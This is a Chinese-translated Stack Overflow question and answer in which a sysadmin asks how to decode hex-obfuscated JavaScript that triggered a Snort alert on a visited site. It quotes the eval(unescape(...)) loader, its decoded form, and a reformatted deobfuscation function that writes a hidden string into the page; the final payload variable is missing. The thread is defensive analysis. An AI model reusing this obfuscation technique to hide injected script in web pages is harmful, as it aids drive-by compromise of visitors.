首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >解码编码/编码的javascript

解码编码/编码的javascript
EN

Stack Overflow用户
提问于 2015-03-11 16:32:58
回答 1查看 1.3K关注 0票数 0

我是一个对javascript不太了解的SysAdmin。

我最近开始在一个网络上运行Snort,它在我的一个用户访问的网站上给了我"ET WEB_CLIENT Hex混淆document.write %编码“的警告。查看Snort规则和站点上的html/javascript,我发现了我认为触发该规则的以下内容:

代码语言:javascript
复制
eval(unescape("%66%75%6e%63%74%69%6f%6e%20%52%73%52%73%52%73%52%73%28%74%65%61%61%62%62%29%20%7b%76%61%72%20%74%74%74%6d%6d%6d%3d%22%22%3b%6c%3d%74%65%61%61%62%62%2e%6c%65%6e%67%74%68%3b%77%77%77%3d%68%68%68%68%66%66%66%66%3d%4d%61%74%68%2e%72%6f%75%6e%64%28%6c%2f%32%29%3b%69%66%28%6c%3c%32%2a%77%77%77%29%09%68%68%68%68%66%66%66%66%3d%68%68%68%68%66%66%66%66%2d%31%3b%66%6f%72%28%69%3d%30%3b%69%3c%68%68%68%68%66%66%66%66%3b%69%2b%2b%29%74%74%74%6d%6d%6d%20%3d%20%74%74%74%6d%6d%6d%20%2b%20%74%65%61%61%62%62%2e%63%68%61%72%41%74%28%69%29%2b%20%74%65%61%61%62%62%2e%63%68%61%72%41%74%28%69%2b%68%68%68%68%66%66%66%66%29%3b%69%66%28%6c%3c%32%2a%77%77%77%29%20%74%74%74%6d%6d%6d%20%3d%20%74%74%74%6d%6d%6d%20%2b%20%74%65%61%61%62%62%2e%63%68%61%72%41%74%28%6c%2d%31%29%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%74%74%74%6d%6d%6d%29%3b%7d%3b%52%73%52%73%52%73%52%73%28%77%6c%6b%6a%69%29%3b")); 

我通过一个HexDecoder (http://ddecode.com/hexdecoder/)运行了这个javascript块,得到了以下内容:

代码语言:javascript
复制
eval(unescape("function RsRsRsRs(teaabb) {var tttmmm="";l=teaabb.length;www=hhhhffff=Math.round(l/2);if(l<2*www)    hhhhffff=hhhhffff-1;for(i=0;i<hhhhffff;i++)tttmmm = tttmmm + teaabb.charAt(i)+ teaabb.charAt(i+hhhhffff);if(l<2*www) tttmmm = tttmmm + teaabb.charAt(l-1);document.write(tttmmm);};RsRsRsRs(wlkji);"));

有人能指出正确的方向继续解码这个来确定它可能会做什么吗?

EN

回答 1

Stack Overflow用户

发布于 2015-03-11 16:34:37

谁能给我指明正确的方向..。

只需打开浏览器的web控制台并将其粘贴进去,在开始时不使用-- eval(,在结束时则粘贴到最后的)。这将向您展示它试图运行的代码,而不运行它。

您可以通过对结果进行进一步分析。

代码语言:javascript
复制
function RsRsRsRs(teaabb) {
    var tttmmm = "";
    l = teaabb.length;
    www = hhhhffff = Math.round(l / 2);
    if (l < 2 * www) hhhhffff = hhhhffff - 1;
    for (i = 0; i < hhhhffff; i++) tttmmm = tttmmm + teaabb.charAt(i) + teaabb.charAt(i + hhhhffff);
    if (l < 2 * www) tttmmm = tttmmm + teaabb.charAt(l - 1);
    document.write(tttmmm);
};
RsRsRsRs(wlkji);

...which定义并调用一个函数,并将它的document.write部分更改为console.log,这样您就可以看到它试图放入文档中的内容。

但它必须有更多,因为最终是尝试使用一个不存在的变量。

票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/28992239

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档